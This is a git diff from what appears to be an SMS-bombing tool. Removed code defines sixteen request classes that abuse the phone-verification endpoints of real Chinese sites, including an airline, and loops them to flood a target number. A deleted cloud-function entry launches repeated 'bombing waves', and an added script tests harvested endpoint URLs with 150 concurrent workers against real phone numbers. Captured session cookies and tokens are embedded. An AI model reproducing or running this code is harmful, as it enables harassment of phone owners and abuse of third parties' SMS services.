'siji1': '274622', - 'siji2': '1581867243', - 'siji3': '81b65b5288fe762372cee72f9c623bf0' - } - - -class SMS_Send_9(PostRequest_json): - def __init__(self, phone): - # 60s - self.name = "新科教育" - self.url = "https://www.xkpx.com/zhuce/GetValidataCode/" - self.header = { - "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0", - "Referer": "https://www.xkpx.com/zhuce/", - "Content-Type": "application/json;charset=utf-8" - } - self.data = { - 'tel': phone - } - - -class SMS_Send_10(PostRequest): - def __init__(self, phone): - # 60s - self.name = "云杏HIS系统(九明珠)" - self.url = "http://www.yhis999.cn/yunhis/register.do?act=lable&type=yzm" - self.header = { - "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0", - "Referer": "http://www.yhis999.cn/yunhis/register.do?act=query", - "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8" - } - self.data = { - 'lxdh': phone - } - - -class SMS_Send_11(GetRequest): - # 60s - def __init__(self, phone): - self.name = "心动网络" - self.phone = phone - url1 = "https://www.xd.com/users/sendRegisterCode" - url2 = "?callback=jQuery1102012722385873258624_1581693197433&" - url3 = "mobile=" + str(phone) + "&area_code=86&_=1581693197434" - self.url = url1 + url2 + url3 - self.header = { - "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0", - } - - -class SMS_Send_12(PostRequest_json): - def __init__(self, phone): - # 30s - self.name = "全鸣影视(担路)" - self.url = "http://www.qmyssh.com/capi/v1/company_account/send_siteuser_signup_token" - self.header = { - "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0", - "Referer": "http://www.qmyssh.com/account/signup/", - "Content-Type": "application/json;charset=utf-8" - } - self.data = { - "mobile": str(phone) - } - - -class SMS_Send_13(PostRequest_json): - def __init__(self, phone): - # 30s - self.name = "南方航空" - self.url = "https://skypearl.csair.com/skypearl/register/send" - self.header = { - "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0", - "Referer": "https://skypearl.csair.com/skypearl/register.html?lang=zh", - "Content-Type": "application/json;charset=utf-8" - } - self.data = { - "contactNo": str(phone), - "countriesCode": "86", - "language": "ZH", - "tokenId": "ekIaOrkmwxOAiUGbJeXoZpy4vO5V3wni" - } - - -class SMS_Send_14(PostRequest): - def __init__(self, phone): - # 60s - self.name = "毛豆新车网(千场红包)" - self.url = "https://www.maodou.com/promotion/coupon/send_verify_code" - self.header = { - "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0", - "Referer": "https://www.maodou.com", - 'Origin': 'https://www.maodou.com', - "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8", - "Cookie": "track_id=44851483602460672; XC-XSRF-TOKEN=eyJpdiI6IlNSRnJxclFTOVRocFdrWURwM1dFVkE\ -9PSIsInZhbHVlIjoiOHJWdmJWUlNwa1dyNFl3OTlINlBcLzAxRWMzYUVTNDQyZnZMenBHM3R4RGs5VVhTNm0zdDdHNXJ2SXJUMnpaT3d\ -3UHRnWXNVd0VCNkRRdko5Sm04RGpRPT0iLCJtYWMiOiIwMDRmYTQzZjlmYWM3YWI1MjA0MTMxNDhmNTFhM2VmNWRjMzQ2Mjk2OGFlZWE0Mz\ -A2ZTg3MDcyZTJhNDMwNWVkIn0%3D; uuid=0d06e317-9f63-4e3c-f3c4-20cabb800d43; sessionid=04fbd273-ebbc-490b-d501-\ -641f73090524; cainfo=%7B%22ca_s%22%3A%22pz_baidu%22%2C%22ca_n%22%3A%22shouye_abtest%22%2C%22ca_medium%22%3A\ -%22%22%2C%22ca_term%22%3A%22%22%2C%22ca_content%22%3A%22%22%2C%22ca_campaign%22%3A%22%22%2C%22ca_kw%22%3A%\ -22%25e6%25af%259b%25e8%25b1%2586%25e6%2596%25b0%25e8%25bd%25a6%22%2C%22keyword%22%3A%22%22%2C%22ca_keywordid\ -%22%3A%22%22%2C%22scode%22%3A%22%22%2C%22ca_transid%22%3A%22%22%2C%22platform%22%3A%221%22%2C%22version%22%3A\ -%221%22%2C%22track_id%22%3A%2244851483602460672%22%7D; cityDomain=www; location=%7B%22name%22%3A%22%E5%85%A8%E\ -5%9B%BD%22%2C%22id%22%3A%220%22%2C%22domain%22%3A%22www%22%7D; Hm_lvt_7de7982ae2fe8226276dd86c423623c5=158184863\ -9; guazi_xinche_session=eyJpdiI6ImJ5Q0FGbHBPdmJDMlRkSUdneEc1blE9PSIsInZhbHVlIjoiUTRtZ1RxeUNOMVd5XC9IeXpIUlhDMXZOZ\ -DhneittcHk4UzdNRUVkbjhFRW91WkJldk1oNkM2Y0ZzUUVaSVZQTDhkeXRsSitGNGtJbGdqVzFhaml4aHl3PT0iLCJtYWMiOiJiNGQ0ZTc1NzcyOTV\ -hMTc1YzQyMjNkOWU0NGIxMGUxMjRhMjYzOTkzMzliMTdhZjE5YzU5ODM2ZTI3OWY5ODVlIn0%3D; Hm_lpvt_7de7982ae2fe8226276dd86c423623\ -c5=1581848728" - } - self.data = { - 'phone': phone - } - - -class SMS_Send_15(GetRequest): - # 60s - def __init__(self, phone): - self.name = "毛豆新车网(优惠)" - self.phone = phone - self.url = "https://uc.maodou.com/server/account/sendLoginCode?phone=" + str(phone) - self.header = { - "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0", - "Referer": "https://www.maodou.com/", - "Origin": "https://www.maodou.com" - } - - -class SMS_Send_16(PostRequest): - def __init__(self, phone): - # 60s - self.name = "云森客" - self.url = "https://www.yunsenke.com/apis/getSmsPhoneCode" - self.header = { - "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0", - "Referer": "https://www.yunsenke.com/Index/regists", - "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8" - } - self.data = { - 'phone': phone - } - - -# sleep发送短信的间隔不建议低于4s -# tel要发送短信的号码 -# number大约轰炸总次数 - -sleep = 5 -tel = xxx -number = 100 - -if __name__ == '__main__': - sms1 = SMS_Send_1(tel) - sms2 = SMS_Send_2(tel) - sms3 = SMS_Send_3(tel) - sms4 = SMS_Send_4(tel) - sms5 = SMS_Send_5(tel) - sms6 = SMS_Send_6(tel) - sms7 = SMS_Send_7(tel) - sms8 = SMS_Send_8(tel) - sms9 = SMS_Send_9(tel) - sms10 = SMS_Send_10(tel) - sms11 = SMS_Send_11(tel) - sms12 = SMS_Send_12(tel) - sms13 = SMS_Send_13(tel) - sms14 = SMS_Send_14(tel) - sms15 = SMS_Send_15(tel) - sms16 = SMS_Send_16(tel) - - i = 0 - while int(number / 13) > i: - # 可能会有些失败次数,所以除13保守 - i += 1 - sms1.run() - sms2.run() # 30s - sms3.run() - sms4.run() - sms5.run() - sms6.run() - sms7.run() - sms8.run() - sms9.run() - sms10.run() - sms11.run() - sms12.run() - sms13.run() - sms14.run() - sms15.run() - sms16.run() - - ----------------------分割线-----------(xxx换成手机号即可,本代码有效2接口)###1.乐教乐学 2.九明珠 - -测试网址:https://www.w3cschool.cn/tryrun/runcode?lang=python3 - -以上代码均源自GitHub - \ No newline at end of file diff --git a/handle_api.py b/handle_api.py new file mode 100644 index 0000000..c027282 --- /dev/null +++ b/handle_api.py @@ -0,0 +1,104 @@ +# encoding=utf8 +# 维护 api.提供去重等功能 +from pathlib import Path +import json +from threading import Lock +from queue import Queue +from concurrent.futures import ThreadPoolExecutor +import httpx +from httpx import Limits +import asyncio + +from utils.sql import Sql +from utils.req import reqFunc, default_header +from utils.log import logger + +path = Path(__file__).parent.absolute().joinpath("debug", "api.db") + +sql = Sql(db_path=path) +sql.newTable() +lock = Lock() +q = Queue() + + +def read_url() -> str: + global q + with open("GETAPI.json", "r", encoding="utf8") as f: + data = json.load(fp=f) + for d in data: + if not ( + ( + d.startswith("https://") or + d.startswith("http://") + ) and ("[phone]" in d) + ): + # print(f"{d}淘汰") + continue + q.put(d) + logger.info(f"GETAPI接口总数:{q.qsize()}") + return q + + +def test(): + while not q.empty(): + i = q.get() + if reqFunc(i, "19820294268"): + with lock: + sql.update(i) + + +async def test2(): + while not q.empty(): + i = q.get() + _i = i.replace("[phone]", "19820294267") + async with httpx.AsyncClient(headers=default_header, timeout=100, limits=Limits(max_connections=1000, max_keepalive_connections=20), verify=False) as client: + try: + await client.get(_i) + # if r.status_code == 200: + sql.update(i) + # logger.info("更新") + except httpx.HTTPError as why: + if why is None: + logger.exception("未知的失败") + logger.error(f"请求失败{type(why)}{why} {i}") + except Exception as e: + logger.error("全局失败") + logger.exception(e) + + +async def asMain(): + await asyncio.gather( + + *( + test2() + for _ in range(150) + ) + + ) + + +def save_api(): + """保存api到 GETAPI.json 文件""" + apis = sql.select() + api_lst = [ + api + for api in apis + ] + with open("GETAPI.json", mode="w", encoding="utf8") as j: + json.dump(fp=j, obj=api_lst, ensure_ascii=False) + logger.success("写入到 GETAPI.json 成功!") + + +def main(): + read_url() + # with ThreadPoolExecutor(max_workers=1024) as pool: + # for _ in range(1024): + # pool.submit(test) + loop = asyncio.get_event_loop() + loop.run_until_complete(asMain()) + + +if __name__ == "__main__": + main() + # read_url() + save_api() diff --git a/index.py b/index.py deleted file mode 100755 index e682e5d..0000000 --- a/index.py +++ /dev/null @@ -1,41 +0,0 @@ -# -*- coding: utf8 -*- -# 腾讯云函数执行入口 - -from smsboom import * - -logger.remove() -logger.remove() - -def run(thread: int, phone: Union[str, tuple], interval: int, super: bool = False): - """传入线程数和手机号启动轰炸,支持多手机号""" - logger.info(f"循环模式:{super},手机号:{phone},线程数:{thread},循环间隔:{interval}") - - with ThreadPoolExecutor(max_workers=thread) as pool: - try: - _api = load_json() - _api_get = load_getapi() - except ValueError: - logger.error("读取接口出错!正在重新下载接口数据!....") - update() - sys.exit(1) - i = 0 - if super: - while True: - i += 1 - logger.success(f"第{i}波轰炸开始!") - for api in _api: - pool.submit(req, api, phone) - for api_get in _api_get: - pool.submit(req, api_get, phone) - logger.success(f"第{i}波轰炸提交结束!休息{interval}s.....") - time.sleep(interval) - else: - for api in _api: - pool.submit(req, api, phone) - for api_get in _api_get: - pool.submit(req, api_get, phone) - - - -def main_handler(event, context): - run(phone="19820294268", thread=16, interval=0) diff --git a/utils.py b/utils.py deleted file mode 100755 index 0c2fc83..0000000 --- a/utils.py +++ /dev/null @@ -1,59 +0,0 @@ -# coding=utf-8 -# utils 实用工具类 -import sqlite3 -import json -from datetime import datetime -from pathlib import Path -from pydantic import BaseModel -from typing import Union, Optional - -default_header = { - "User-Agent": "Mozilla/5.0 (Linux; U; Android 10; zh-cn; Mi 10 Build/QKQ1.191117.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/79.0.3945.147 Mobile Safari/537.36 XiaoMi/MiuiBrowser/13.5.40" -} - - -class API(BaseModel): - """处理自定义 API 数据""" - desc: str = "Default" - url: str - method: str = "GET" - header: Optional[Union[str, dict]] = default_header - data: Optional[Union[str, dict]] - - def replace_data(self, content: Union[str, dict], phone: str) -> str: - # 统一转换成 str 再替换. ' -> " - if phone: - content = str(content).replace("[phone]", phone).replace( - "[timestamp]", self.timestamp_new()).replace("'", '"') - - # 尝试 json 化 - try: - return json.loads(content.replace("'", '"')) - except: - return content - - def timestamp_new(self) -> str: - """返回整数字符串时间戳""" - return str(int(datetime.now().timestamp())) - - def handle_API(self, phone: str=None): - """ 传入手机号处理 API - :param API: one API basemodel - :return: API basemodel - """ - # 仅仅当传入 phone 参数时添加 Referer - # fix: 这段代码很有问题....... - if phone: - # 进入的 header 是个字符串 - if self.header == "": - self.header = {} - self.header['Referer'] = self.url # 增加 Referer - - self.header = self.replace_data(self.header, phone) - if not self.header.get('Referer'): - self.header['Referer'] = self.url # 增加 Referer - - self.data = self.replace_data(self.data, phone) - self.url = self.replace_data(self.url, phone) - # print(self) - return self diff --git a/utils/req.py b/utils/req.py index 1668617..469fd58 100644 --- a/utils/req.py +++ b/utils/req.py @@ -7,6 +7,7 @@ from utils import default_header from utils.models import API from utils.log import logger + def reqAPI(api: API, client: httpx.Client) -> httpx.Response: if isinstance(api.data, dict): resp = client.request(method=api.method, json=api.data, @@ -17,7 +18,7 @@ def reqAPI(api: API, client: httpx.Client) -> httpx.Response: return resp -def reqFunc(api: Union[API, str], phone: tuple): +def reqFunc(api: Union[API, str], phone: Union[tuple, str]): """请求接口方法""" # 多手机号支持 if isinstance(phone, tuple): @@ -36,5 +37,7 @@ def reqFunc(api: Union[API, str], phone: tuple): api = api.replace("[phone]", ph) resp = client.get(url=api, headers=default_header) logger.info(f"GETAPI接口-{resp.text[:30]}") + return True except httpx.HTTPError as why: logger.error(f"请求失败{why}") + return False diff --git a/utils/sql.py b/utils/sql.py index 3993aa1..4ff240e 100644 --- a/utils/sql.py +++ b/utils/sql.py @@ -1,15 +1,17 @@ # encoding=utf8 # 读写sqlite数据库 from pathlib import Path +from utils.log import logger import sqlite3 + class Sql(object): """处理SQL数据""" - def __init__(self) -> None: + def __init__(self, db_path: Path) -> None: '''初始化数据库''' # 数据库路径 - db_path = Path.cwd().joinpath("api.db") + # db_path = Path.cwd().joinpath("api.db") # 连接数据库,不检查是否在同一个线程. self.client = sqlite3.connect( db_path, timeout=6, check_same_thread=False) @@ -36,9 +38,10 @@ CREATE TABLE IF NOT EXISTS API200 ( try: self.cursor.execute(sql, (url,)) self.client.commit() + logger.success("插入成功!") return True except sqlite3.IntegrityError: - # print(f"{url} 数据重复!") + logger.error(f"数据重复!") return False def select(self) -> list: @@ -54,10 +57,9 @@ CREATE TABLE IF NOT EXISTS API200 ( urls.append(url[0]) return urls except Exception as e: - print('读取出现错误!', e) + logger.error('读取出现错误!', e) def __del__(self) -> None: '''对象被删除时执行的函数''' - print(f"共改变{self.client.total_changes}条数据!,正在关闭数据库连接......") + logger.info(f"共改变{self.client.total_changes}条数据!,正在关闭数据库连接......") self.client.close() -